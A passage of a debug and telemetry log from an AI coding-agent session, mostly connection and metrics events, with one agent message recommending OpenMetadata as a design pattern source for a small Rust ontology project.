mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:09.033Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.035Z] [INFO] 2026-07-12T04:03:09.033133Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Zv4eFOYqwWfWrNbol0wvgym6 duration_ms=1405 success=true arguments_length=558 output_length=2086 output_line_count=50 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:09.033Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.035Z] [INFO] 2026-07-12T04:03:09.033222Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Zv4eFOYqwWfWrNbol0wvgym6 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1405 total_duration_ms=1405\n[2026-07-12T04:03:09.035Z] [INFO] \n[2026-07-12T04:03:09.039Z] [INFO] 2026-07-12T04:03:09.035113Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:09.039Z] [INFO] \n[2026-07-12T04:03:09.058Z] [INFO] 2026-07-12T04:03:09.057775Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:09.058Z] [INFO] \n[2026-07-12T04:03:09.065Z] [INFO] 2026-07-12T04:03:09.060206Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:09.065Z] [INFO] \n[2026-07-12T04:03:09.071Z] [INFO] 2026-07-12T04:03:09.066218Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:09.071Z] [INFO] \n[2026-07-12T04:03:09.101Z] [INFO] 2026-07-12T04:03:09.100807Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:03:09.101Z] [INFO] \n[2026-07-12T04:03:09.110Z] [INFO] 2026-07-12T04:03:09.109399Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:09.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.110Z] [INFO] 2026-07-12T04:03:09.109497Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:09.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:09.110Z] [INFO] 2026-07-12T04:03:09.109515Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:03:09.110Z] [INFO] \n[2026-07-12T04:03:09.159Z] [INFO] 2026-07-12T04:03:09.156961Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:09.159Z] [INFO] 2026-07-12T04:03:09.157130Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:09 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"9b6fd125-2f55-4388-b8ed-5ef67bc0f86a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=nEpNzw9GipJfRMhD35715HOTweMPdhy9Me%2FfQSR7Y9Scy8sbRMngmqBm8vTGGChk8VD9Ns3akXeDzfItNF5mTwgM%2FuoYhdk64AAObfCF8czQ3%2FjZavniWpjggXI2\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d280dccd24dc4-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:09.159Z] [INFO] \n[2026-07-12T04:03:10.047Z] [INFO] 2026-07-12T04:03:10.045687Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311fdebf4819188e6eb12d429b891\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxH99DpvxcA2jXEfv9vBTSoSfl4WBBxqevXqMG7-9phHwlXXCky6sAUJqCKY4Oa0jtT4-B7zfeUn8sslqzoyaGdbC3cy8UgUFOZstxgIAJFlHq5E9XVvCDhy7ceUkjL2jQvaqL5-PwWo2x-fjWaP9iZlFHK5jaYNKOfSvODKaNIIkr6iDvrJdCygc0mPBHWlWannSYMUO4L2vA611vmXRUcRv33dmAdzNLQVdZLqXLb2ybi0PJ53IoU8gyUvhKAq-e9Fu_hfAXgst0v8HabjX--DVPl27Fdml32FTMxWwSsVmSubA2UIXgtu8z6XMvRjIvL-pef4EB_AQnPXlhTv8bSNX5ULwyhC87rJqOhh0K4v0GOrb6fs8bYQj4sxGOXFY5-FZfuHrbSJIEj4zerd1FOClwKOd3U3XYZHAhYtEe6-rrMHV3iuVPqF8fTIL4uTQGHqOsR08MG4R0qTamSDsNt1y796TF_W2BZ9AopmolK91L7Fg_IiGltbDvmNAU8V-o9hl0-nsv_HABdewdI0fAhLLltkdvM-wIyb0YM3sSY3cSAFkxmySiWInfKaEr-qko8b056wViYutb90pxhSFhoENeLjj_tm6nVjKvtFNERYWD1MFhmc94ZElWBQKFbaE-Iy2N0kH79mlX-VEV1tUB-ZSZa8v4kbkMCQT99DQsuwFYNaQnOQ-oFty6PrYxBGfoFUzsBGEizLTDsuWhmjqijkqHLN32rRJY2bsnIRM7dDa_LU-wTHedhMFT34ZE7UHHuYsV7d5-FgsnDPmWoeewYryhuWGhT1K4JX356kIwFxZXxlWcR_xXXhdvFBeupDfAEklXsHITF7VthdqecKpbXfvLGT570svzbpkAKxgzdYBUqDiTOhzeTDStVsf1hspCoWpAd86myQVKk3A17XuXnupA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:10.047Z] [INFO] \n[2026-07-12T04:03:13.043Z] [INFO] 2026-07-12T04:03:13.039271Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:03:13.043Z] [INFO] 2026-07-12T04:03:13.039450Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:03:13.043Z] [INFO] 2026-07-12T04:03:13.041732Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=30 time_taken_in_millis=2\n[2026-07-12T04:03:13.043Z] [INFO] \n[2026-07-12T04:03:13.086Z] [INFO] 2026-07-12T04:03:13.044253Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:03:13.086Z] [INFO] 2026-07-12T04:03:13.044317Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:03:13.086Z] [INFO] 2026-07-12T04:03:13.054704Z DEBUG reqwest::connect: starting new connection: https://ab.chatgpt.com/\n[2026-07-12T04:03:13.086Z] [INFO] \n[2026-07-12T04:03:13.120Z] [INFO] 2026-07-12T04:03:13.119409Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:13.120Z] [INFO] \n[2026-07-12T04:03:13.130Z] [INFO] 2026-07-12T04:03:13.130249Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:13.130Z] [INFO] \n[2026-07-12T04:03:13.251Z] [INFO] 2026-07-12T04:03:13.251129Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:03:13.251Z] [INFO] \n[2026-07-12T04:03:13.254Z] [INFO] 2026-07-12T04:03:13.252269Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:03:13.254Z] [INFO] 2026-07-12T04:03:13.252310Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:03:13.254Z] [INFO] 2026-07-12T04:03:13.252351Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59786\n[2026-07-12T04:03:13.254Z] [INFO] \n[2026-07-12T04:03:16.252Z] [INFO] 2026-07-12T04:03:16.250867Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311fdebf4819188e6eb12d429b891\"), summary: [SummaryText { text: \"**Planning documentation and changelog creation**\" }, SummaryText { text: \"**Defining documentation files and changelog**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxIEIxXCiwkCLK_4bBsngGv7urtH3UawmzRoAD_W82EhJYlkhQZlGVjImh1CJS45kCsqpl7KiKWK9uR9nr3SSWpbF9t42XRcg3ozdBxtqZBR5XFkVQDSO85X75G-751hvYZXs5BSxBg1Lhz7iUB-xGAh9Y9S6J1EhKZRhWrvvgvfO0CIuYgMXJ6yPYJ0aj8Di76cHnKVMcrzYalHuGcOs5yNeRu7tLOCxRW-dc5g4YDjYWfvMryCJ2sW1NfPJ7GX6kau5sWdEpy92crerECb28o7BReDahDr-tY9WHNpAXBWVREoDXurO2gQ_2pY73i1IKIY3JNfScdXCzROX7eAR_Nds1OuUk2Qr_TnAztKyblokJJRiC06dCjTTsFK0Iz40zf_INeLRgBLGbJF4vXDGLFOqGb_cJeIH44LQqQ-bjHD3z6zgIq7Yac2rXgpDRs4Jr1qK3a2Q5enJGeRAmJBPCdO2tSrmPaMNkFbyu8bAyujgr287YsEvlROmC_p-mM_jaylwhzjimzgoS5JgPaM1l0LvnWy2jJVybyRbJ0I7il5f1iXKGRcxh1et7Yfb8wfir-ZbNduvM-0B8wqGrxPmLqZ5exu1xEWO1zLijh6lSRzYiUFqgZ_2EXkR25722oTaLfSU6x5JFMcWvCBMzbEYXSwwg2vQ9PjBXWLhWYzWHfj-n_pT5Cr1kJ6dl6l70_zQ9EeYdD7YI2YXwHVrtirZIqZsQD12aAyMWoSlfV8bAqN6P9zSPh9l7W-CH3WGvErCx6rj6opkjIURIZtZAn2xZPs_NyTuHRismuHFp8nbOOTIBMnxKlIoyWvqSKvpZT13RRyOZVMcwEp6kEpsThi-UKOuEJw08CPWbBxDr7qub-cc2lgeOSkW2-PnzvsIaoCQNX-_dCKeRTiwcJaJi11d-EF80wB72w-HfBYQD52jqm6TsxJE51bG3NrPPxN9Uq2BUkCXXWMxj-y2L8EA_fq-PjKdWl9jLo5iITJlkzrq31AG9tDte4sH6Z-BHL7D_9jUoe1T2Xuws5MWJmy8dglibQjw8vxZdhq3dfMeT-nSU7bHknTtlHe-9KpO6K_DEJlsBI6wQJhs3_rIMBHoHBfcZXiV5f1_hn66naMnr7I_pE5gTepGKY74IUzwrYuHCVdVPQz-ORljPVpJ6-sb01yOeawuQxg9NZ069MhfVPcHJBqFsVmdsm2i4g-0ZkUXl3NjkNYbp4qStxDkoY9KK9N5fsUyTmH36GuccusR16Sng2NdhYxzDD7JV3vxpBjW0Mv6H5VuEPDEHfd8XMB5rEOa-Kiy2QJfchjK-fqSnH47f03PiYaOCeUNipE2EHvtSsln0vrWgnEMGBrmJGrwngjpvGYMfibB9dZDCtj9q5VUyUZuLlBu9t6C0eRLcmxmudVmourKKwvNv4MbNYGBsEwMf5T6OEawo26HiICW1RFvXDDp6xrhzUAlObbooFKHrxWY9GzrzmDHJnKA3ptTBO93D67fQFTuK3DCb0tTvFFqJ545kIPGH0TD9orni-uN9ljVMhaCxJuIlCpxFWinlJoq7jF1zJmlZw6vxAMlqFLCjWkfTyvgBYgdwQQm1-_pNW1bI5KYR19lmf5qb6jtb9R2ayf6ssLgb7BBYOAQDTl9k3t6OrA3j5lRs-MOZnyqdDsZ0ij7LqCqCkA63g04TAz0N8eEUbqYX7T1H93i8vBJCysH1jjXmVW8EBmnXvahnyJuPDFNY8EVszduJqJrBgIw0d0Z5F2w9XcVvOR1eY8URB81wPOSJArJ0fSwOkcJiNdNFHJ6MRnLHNJMKJob33Gee7sfKE71n-Wy_JJNGJoAU_HTGFTwBdH4MbeIc14gbAyW2hah3xlkpB-By_uVX_zNpt5pAxBJwaR4um0iI4ep8vaovJO53WvVWiPQF-jo4YOzpal7b77UZYmVrWdAKRCuqwEefjJK4dIRpEVfioYBtOY03RflEeN3ZvW0_4-VOaU1wq976b1px7SRnUiSnN3Lv9-tRNN-ZCbx2kdif5U6wovOp_D3SiRGxaEP6SL442Pl9FaE6_0E8QjGtwubiqnQsVUb13MRf6sch55IxZNwOwx4K1U-igIKFu-U2o2Zssdh6oBBnnWKi1nYIohNfk77I8tEDEQxE0xW0wpNZVcNh5oytTYV4hAuLI0udA5Noi5c7n3imPZWW-DT5YCbQoe9idzfr59lM4jxYMaGsTGcHCf_qJl-mRsprSj2NWQYPZPzVWj3fm_4brMubYYEP-74bYScCurLEwAQtOJqW07Jq12aVY=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:16.252Z] [INFO] \n[2026-07-12T04:03:16.257Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_26\",\"type\":\"reasoning\",\"text\":\"**Planning documentation and changelog creation**\\n**Defining documentation files and changelog**\"}}\n[2026-07-12T04:03:16.257Z] [INFO] \n[2026-07-12T04:03:16.323Z] [INFO] 2026-07-12T04:03:16.322650Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312043c3c81918c552a7b48278cb3\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:16.323Z] [INFO] \n[2026-07-12T04:03:17.859Z] [INFO] 2026-07-12T04:03:17.857840Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312043c3c81918c552a7b48278cb3\"), role: \"assistant\", content: [OutputText { text: \"The main design conclusion is becoming clear: OpenMetadata is useful here as a pattern library, not as a dependency or wholesale architecture transplant. The highest-value practices for this small Rust ontology are schema-first validation, stable entity identity, typed relationships, provenance/version history, modular ingestion, and governance hooks; its distributed search/UI/deployment stack would be premature.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:17.859Z] [INFO] \n[2026-07-12T04:03:17.864Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_27\",\"type\":\"agent_message\",\"text\":\"The main design conclusion is becoming clear: OpenMetadata is useful here as a pattern library, not as a dependency or wholesale architecture transplant. The highest-value practices for this small Rust ontology are schema-first validation, stable entity identity, typed relationships, provenance/version history, modular ingestion, and governance hooks; its distributed search/UI/deployment stack would be premature.\"}}\n[2026-07-12T04:03:17.864Z] [INFO] \n[2026-07-12T04:03:17.872Z] [INFO] 2026-07-12T04:03:17.861013Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a531205d8148191b23a61ec83c5bb12\"), status: Some(\"in_progress\"), call_id: \"call_DEIkknavGwraQTaK8nJaBIzd\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:03:17.872Z] [INFO] \n[2026-07-12T04:04:13.046Z] [INFO] 2026-07-12T04:04:13.039356Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:04:13.046Z] [INFO] 2026-07-12T04:04:13.039496Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:04:13.046Z] [INFO] 2026-07-12T04:04:13.040614Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=2 time_taken_in_millis=1\n[2026-07-12T04:04:13.046Z] [INFO] \n[2026-07-12T04:04:13.053Z] [INFO] 2026-07-12T04:04:13.047914Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:04:13.053Z] [INFO] 2026-07-12T04:04:13.047998Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:04:13.053Z] [INFO] 2026-07-12T04:04:13.048295Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:04:13.053Z] [INFO] \n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085358Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085512Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085545Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:04:13.085Z] [INFO] 2026-07-12T04:04:13.085560Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59953\n[2026-07-12T04:04:13.085Z] [INFO] \n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.039577Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.039771Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.040570Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=2 time_taken_in_millis=0\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.040833Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:05:13.047Z] [INFO] 2026-07-12T04:05:13.040874Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:05:13.047Z] [INFO] \n[2026-07-12T04:05:13.058Z] [INFO] 2026-07-12T04:05:13.043736Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:05:13.058Z] [INFO] \n[2026-07-12T04:05:13.076Z] [INFO] 2026-07-12T04:05:13.073381Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:05:13.076Z] [INFO] \n[2026-07-12T04:05:13.078Z] [INFO] 2026-07-12T04:05:13.077972Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:05:13.078Z] [INFO] 2026-07-12T04:05:13.078034Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:05:13.078Z] [INFO] 2026-07-12T04:05:13.078050Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59961\n[2026-07-12T04:05:13.078Z] [INFO] \n[2026-07-12T04:05:14.111Z] [INFO] 2026-07-12T04:05:14.110870Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:05:14.111Z] [INFO] \n[2026-07-12T04:05:14.132Z] [INFO] 2026-07-12T04:05:14.131708Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:05:14.132Z] [INFO] \n[2026-07-12T04:05:14.147Z] [INFO] 2026-07-12T04:05:14.146852Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:05:14.147Z] [INFO] \n[2026-07-12T04:05:14.151Z] [INFO] 2026-07-12T04:05:14.150892Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:05:14.151Z] [INFO] \n[2026-07-12T04:05:14.279Z] [INFO] 2026-07-12T04:05:14.278785Z DEBUG list_models{refresh_strategy=online}:endpoint_session.execute_with{http.method=GET api.path=\"models\"}: codex_http_client::default_client: Request completed method=GET url=https://chatgpt.com/backend-api/codex/models?client_version=0.144.1 status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:05:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"274771\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"etag\": \"W/\\\"db2a6dc50b1d003969cdc236274e488a\\\"\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"d036c786-6c2b-42ed-abde-6ffcce389f89\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; 